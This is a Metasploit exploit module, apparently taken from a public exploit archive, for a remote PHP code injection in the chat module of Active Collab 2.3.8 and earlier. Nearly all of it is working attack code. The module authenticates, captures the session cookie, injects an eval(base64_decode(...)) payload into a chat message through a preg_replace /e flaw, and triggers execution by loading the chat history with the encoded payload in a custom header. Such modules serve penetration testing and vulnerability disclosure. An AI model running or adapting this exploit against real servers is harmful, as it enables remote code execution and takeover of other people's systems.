Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit',
   'Description'    => %q{
    This module exploits an arbitrary code injection vulnerability in the chat module
    that is part of Active Collab by abusing a preg_replace() using the /e modifier and
    its replacement string using double quotes. The vulnerable function can be found in
    activecollab/application/modules/chat/functions/html_to_text.php.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'mr_me <steventhomasseeley[at]gmail.com>',  # vuln discovery & msf module
    ],
   'References'     =>
    [
     ['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Keys'        => ['php'],
     'Space'       => 4000,
     'DisableNops' => true,
    },
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Targets'        => [['Automatic',{}]],
   'DisclosureDate' => 'May 30 2012',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),
    OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),
    OptString.new('PASS',[true, "The password to authenticate with"])
   ],self.class)
 end

 def check

  login_path = "public/index.php?path_info=login&re_route=homepage"
  uri = datastore['URI']
  uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"

  cms = send_request_raw({'uri' => uri}, 25)

  uri = datastore['URI']
  uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'

  chat = send_request_raw({'uri' => uri}, 25)

  # cant detect the version here
  if (cms and cms.body =~ /powered by activeCollab/)
   # detect the chat module
   if (chat and chat.code == 200)
    return Exploit::CheckCode::Vulnerable
   end
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  user = datastore['USER']
  pass = datastore['PASS']
  p = Rex::Text.encode_base64(payload.encoded)
  header = rand_text_alpha_upper(3)
  login_uri = datastore['URI']
  login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'

  # login
  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => login_uri,
   'vars_post' =>
    {
     'login[email]'      => user,
     'login[password]'   => pass,
     'submitted'         => "submitted",
    }
   }, 40)

  # response handling
  if res.code == 302
   if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)
    acsession = $1
   end
  elsif res.body =~ /Failed to log you in/
   print_error("Could not login to the target application, check your credentials")
  elsif res.code != 200 or res.code != 302
   print_error("Server returned a failed status code: (#{res.code})")
  end

  # injection
  iuri = datastore['URI']
  iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'
  iuri << "?path_info=chat/add_message&async=1"
  phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
  injection = "<th>\");#{phpkode}</th>"
  cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
  res = send_request_cgi({
   'method'  => 'POST',
   'uri'     => iuri,
   'headers' =>
    {
     'cookie'  => cookies
    },
   'vars_post' =>
    {
     'submitted'                  => "submitted",
     'message[message_text]'      => injection,
     'message[chat_id]'           => "1",
     'message[posted_to_user_id]' => "all"
    }
  }, 25)

  euri = datastore['URI']
  euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
  euri << "?path_info=/chat/history/1"

  # execution
  res = send_request_cgi({
   'method'  => 'POST',
   'uri'     => euri,
   'headers' =>
    {
     header    => p,
     'cookie'  => cookies
    }
  })
 end
end